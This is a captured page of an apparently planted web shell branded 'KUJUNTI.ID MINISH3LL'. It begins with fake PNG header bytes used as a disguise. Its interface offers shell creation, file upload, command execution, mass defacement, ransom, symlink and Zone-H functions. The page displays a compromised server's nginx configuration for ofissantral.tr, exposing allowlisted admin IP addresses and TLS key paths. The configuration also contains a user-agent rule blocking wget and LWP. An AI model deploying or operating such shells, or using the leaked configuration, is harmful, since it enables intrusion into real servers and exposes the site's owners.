\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /etc/nginx/sites-enabled/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : //etc/nginx/sites-enabled/ofissantral.conf


server {

    root /var/www/html/ofissantral;
    index index.php index.html index.htm;
    client_max_body_size 256M;
    server_name www.ofissantral.tr ofissantral.tr;
   # return 301 https://$host$request_uri;

#  rewrite ^.*sitemap.xml /site.xml permanent;

add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload";
add_header X-Frame-Options DENY;
add_header X-Content-Type-Options nosniff;
#add_header Content-Security-Policy "default-src 'self' www.google-analytics.com ajax.googleapis.com www.google.com google.com gstatic.com www.gstatic.com connect.facebook.net facebook.com ofisbulutta.com fonts.googleapis.com fonts.gstatic.com ofissantral.tr;";
add_header Permissions-Policy " camera=(), microphone=(), fullscreen=(self)";
add_header X-XSS-Protection "1; mode=block";
add_header Referrer-Policy "same-origin";

#add_header Referrer-Policy "origin";


 location ~ ^/(wp-admin|wp-login\.php) {
            	allow 95.85.41.56;
            	allow 176.234.94.236;
            	allow 193.192.120.82;
            	allow 46.20.11.230;
            	allow 85.107.72.134;
            	allow 78.161.163.25;
            	allow 92.44.146.103;
            	allow 85.107.68.52;
            	allow 78.183.218.142;
            	allow 92.45.199.50;
            	allow 213.142.143.232;
            	allow 95.70.137.35;
            	deny all;


 location ~ \.php$ {
            	try_files $uri =404;
            	fastcgi_split_path_info ^(.+\.php)(/.+)$;
            	fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
            	fastcgi_index index.php;
            	fastcgi_param SCRIPT_FILENAME $request_filename;
            	include fastcgi_params;
    	}

  }


location = /favicon.ico {
                log_not_found off;
                access_log off;
       }

#if ($request_filename ~* \.(xml)$) {
#    return 301 https://www.ofisbulutta.com/site.xmp;
#  }


location /wiki {
autoindex on;
}

error_log   /var/log/nginx/error_log   error;

if ($http_user_agent ~* LWP::Simple|wget|libwww-perl) {
              return 403;
     }


location ~* \.(?:jpg|jpeg|gif|png|ico|cur|gz|svg|svgz|mp4|ogg|ogv|webm|htc)$ {
     expires 365d;
     add_header Cache-Control "public";
   }




location /piwik {
autoindex on;
}


location ~* \.(?:css|js)$ {
  expires 1y;
  access_log off;
  add_header Cache-Control "public";
}


location /ip {
        root   /var/www/html/ofisbulutta.com/;
        index ip.php;
}

 location / {
       # Block user enumeration

  	 if ( $query_string ~ "author=([0-9]*)" ) { return 403; }
       try_files $uri $uri/ /index.php?q=$uri&$args;
        }


 location ~ \.php$ {
                try_files $uri =404;
                fastcgi_split_path_info ^(.+\.php)(/.+)$;
                fastcgi_pass unix:/var/run/php/php8.2-fpm.sock;
                fastcgi_index index.php;
                fastcgi_param SCRIPT_FILENAME $request_filename;
                include fastcgi_params;
        }


gzip on;
gzip_disable "msie6";
gzip_comp_level 9;
gzip_min_length 1100;
gzip_buffers 16 8k;
gzip_proxied any;
gzip_types
    text/plain
    text/css
    text/js
    text/xml
    text/javascript
    application/javascript
    application/x-javascript
    application/json
    application/xml
    application/xml+rss;




    listen 443 ssl; # managed by Certbot
    ssl_certificate /etc/letsencrypt/live/www.ofissantral.tr/fullchain.pem; # managed by Certbot
    ssl_certificate_key /etc/letsencrypt/live/www.ofissantral.tr/privkey.pem; # managed by Certbot
    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot
    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot


}


server {
    if ($host = ofissantral.tr) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    if ($host = www.ofissantral.tr) {
        return 301 https://$host$request_uri;
    } # managed by Certbot


    server_name www.ofissantral.tr ofissantral.tr;
    listen 80;
    return 404; # managed by Certbot




}

© KUJUNTI.ID